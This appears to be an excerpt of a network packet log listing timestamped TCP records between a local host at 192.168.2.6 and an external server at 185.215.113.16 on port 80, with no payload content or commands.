Nov 5, 2024 20:52:10.079824924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079842091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079854965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079863071 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079874992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079893112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079898119 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079917908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079930067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.079957008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079974890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079992056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.079999924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.080020905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.080034971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.080097914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.080115080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.080131054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.080147982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.080158949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.080168962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.097826004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.097918987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.097943068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.097966909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.097990036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098016024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098041058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098043919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098062038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098067045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098090887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098093033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098108053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098117113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098129034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098151922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098160982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098200083 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098225117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098237038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098248959 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098265886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098288059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098301888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098313093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098325014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098346949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098351002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098372936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098386049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098406076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098408937 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098433971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098443031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098500967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098506927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098532915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098542929 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098556042 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098567963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098582029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098589897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098606110 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098618031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098632097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098639965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098656893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098666906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098684072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098691940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098717928 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098751068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098778963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098787069 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098814011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098829031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098853111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098865032 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098881006 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098887920 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098917007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098918915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098954916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.098958015 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098979950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.098994970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099004984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099014997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099041939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099045992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099078894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099087954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099123001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099127054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099150896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099160910 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099175930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099184990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099198103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099210978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099221945 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099231005 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099247932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099257946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099272013 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099282026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099296093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099308014 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099330902 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099333048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099369049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.099936962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.099980116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100002050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100028038 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100042105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100064039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100066900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100091934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100106955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100116014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100123882 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100142956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100152016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100177050 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100194931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100219965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100231886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100245953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100254059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100270033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100280046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100296974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100305080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100323915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100332022 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100349903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100358963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100374937 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100384951 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100409031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100414991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100440979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100450993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100472927 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100478888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100507021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100513935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100529909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100543022 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100555897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100565910 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100589037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100594997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100620031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100632906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100642920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100656033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100670099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100681067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100693941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100704908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100718021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100729942 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100754023 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100759029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100786924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100810051 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100811958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100822926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100835085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100848913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100860119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100873947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100883961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100899935 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100920916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100923061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100960016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100960970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.100981951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.100999117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101006031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101021051 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101032972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101049900 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101057053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101075888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101095915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101097107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101123095 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101136923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101146936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101166010 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101171017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101188898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101202011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101213932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101223946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101242065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101248026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101268053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101273060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101291895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101311922 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101311922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101337910 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101358891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101376057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101385117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101408005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101418972 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101445913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101452112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101459026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101475954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101490974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101500988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101515055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101525068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101541042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101563931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101564884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101589918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101613998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101614952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101627111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101639986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101655006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101667881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101680040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101690054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101708889 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101713896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101727962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101738930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101753950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101763010 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101778984 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101788998 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101799011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101814032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101831913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101840973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101855040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101869106 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101891994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.101892948 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101906061 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.101933002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.189862967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.189918995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.190017939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.190079927 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.190268040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.190304041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.190320015 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.190340042 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.190381050 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.191093922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.191143990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.191149950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.191185951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.191186905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.191216946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193490028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.193536997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193608999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.193643093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.193676949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193687916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193695068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.193731070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.193739891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193815947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.193962097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194009066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194042921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194056034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194096088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194120884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194130898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194133997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194168091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194204092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194209099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194232941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194232941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194277048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194480896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194514990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194536924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194556952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194571972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194606066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194614887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194641113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194673061 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194677114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.194689035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.194734097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195436001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195485115 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195501089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195544004 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195550919 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195597887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195611000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195646048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195652962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195683002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195728064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195729971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195770025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195776939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195801020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195818901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195835114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195857048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195903063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.195909023 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195943117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.195975065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196005106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196013927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196060896 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196060896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196104050 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196118116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196160078 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196170092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196204901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196216106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196239948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196242094 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196274996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196283102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:10.196309090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:10.196342945 CET	80	50011	185.215.113.16	192.168.2.6
